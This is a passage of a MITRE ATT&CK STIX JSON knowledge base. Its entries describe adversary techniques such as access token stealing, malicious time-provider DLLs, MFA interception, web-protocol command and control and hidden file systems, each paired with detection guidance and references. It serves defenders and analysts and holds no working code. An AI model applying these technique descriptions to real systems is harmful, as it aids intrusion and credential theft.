            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the <code>/etc/</code> directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code> file creation. Although types of RC scripts vary for each Unix-like distribution, several execute <code>/etc/rc.local</code> if present. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Linux",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "File: File Modification",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134",
                    "external_id": "T1134"
                },
                {
                    "source_name": "BlackHat Atkinson Winchester Token Manipulation",
                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
                },
                {
                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
                },
                {
                    "source_name": "Microsoft LogonUser",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft DuplicateTokenEx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft ImpersonateLoggedOnUser",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
                },
                {
                    "source_name": "Pentestlab Token Manipulation",
                    "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
                    "url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-16T20:37:21.869Z",
            "name": "Access Token Manipulation",
            "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tom Ueltschi @c_APT_ure",
                "Travis Smith, Tripwire",
                "Robby Winchester, @robwinchester3",
                "Jared Atkinson, @jaredcatkinson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "User Account: User Account Metadata",
                "Process: Process Metadata",
                "Process: Process Creation",
                "Active Directory: Active Directory Object Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1209",
                    "external_id": "T1209"
                },
                {
                    "source_name": "Microsoft W32Time Feb 2018",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "Github W32Time Oct 2017",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "url": "https://github.com/scottlundgren/w32time"
                },
                {
                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:16:15.834Z",
            "name": "Time Providers",
            "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Scott Lundgren, @5twenty9, Carbon Black"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
            "created": "2017-05-31T21:31:23.195Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1111",
                    "external_id": "T1111"
                },
                {
                    "source_name": "GCN RSA June 2011",
                    "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.",
                    "url": "https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"
                },
                {
                    "source_name": "Mandiant M Trends 2011",
                    "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
                    "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"
                },
                {
                    "source_name": "Okta Scatter Swine 2022",
                    "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
                    "url": "https://sec.okta.com/scatterswine"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:50:08.274Z",
            "name": "Multi-Factor Authentication Interception",
            "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Driver: Driver Load",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1159",
                    "external_id": "T1159"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "created": "2020-02-05T14:17:46.686Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/002",
                    "external_id": "T1027.002"
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                {
                    "source_name": "Awesome Executable Packing",
                    "description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.",
                    "url": "https://github.com/dhondta/awesome-executable-packing"
                },
                {
                    "source_name": "ESET FinFisher Jan 2018",
                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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            "type": "attack-pattern",
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            "created": "2022-07-08T12:46:15.450Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/007",
                    "external_id": "T1584.007"
                },
                {
                    "source_name": "AWS Lambda Redirector",
                    "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
                    "url": "https://blog.xpnsec.com/aws-lambda-redirector/"
                },
                {
                    "source_name": "Detecting Command & Control in the Cloud",
                    "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
                },
                {
                    "source_name": "BlackWater Malware Cloudflare Workers",
                    "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"
                },
                {
                    "source_name": "GWS Apps Script Abuse 2021",
                    "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette"
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            "modified": "2025-04-15T23:06:14.037Z",
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            "description": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "created": "2020-03-15T16:13:46.151Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1071/001",
                    "external_id": "T1071.001"
                },
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Brazking-Websockets",
                    "description": "Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.",
                    "url": "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/"
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            "modified": "2025-04-15T19:59:14.227Z",
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            "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
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            "x_mitre_contributors": [
                "TruKno"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "created": "2020-03-09T14:29:51.508Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/005",
                    "external_id": "T1059.005"
                },
                {
                    "source_name": "VB .NET Mar 2020",
                    "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.",
                    "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"
                },
                {
                    "source_name": "Default VBS macros Blocking ",
                    "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.",
                    "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805"
                },
                {
                    "source_name": "Microsoft VBScript",
                    "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.",
                    "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)"
                },
                {
                    "source_name": "Microsoft VBA",
                    "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/office/vba/api/overview/"
                },
                {
                    "source_name": "VB Microsoft",
                    "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/dotnet/visual-basic/"
                },
                {
                    "source_name": "Wikipedia VBA",
                    "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.",
                    "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"
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            "modified": "2025-04-15T19:59:14.314Z",
            "name": "Visual Basic",
            "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )",
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                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Linux"
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            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "created": "2020-06-28T22:55:55.719Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1564/005",
                    "external_id": "T1564.005"
                },
                {
                    "source_name": "MalwareTech VFS Nov 2014",
                    "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.",
                    "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html"
                },
                {
                    "source_name": "FireEye Bootkits",
                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
                },
                {
                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
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            "modified": "2025-04-25T14:48:18.639Z",
            "name": "Hidden File System",
            "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
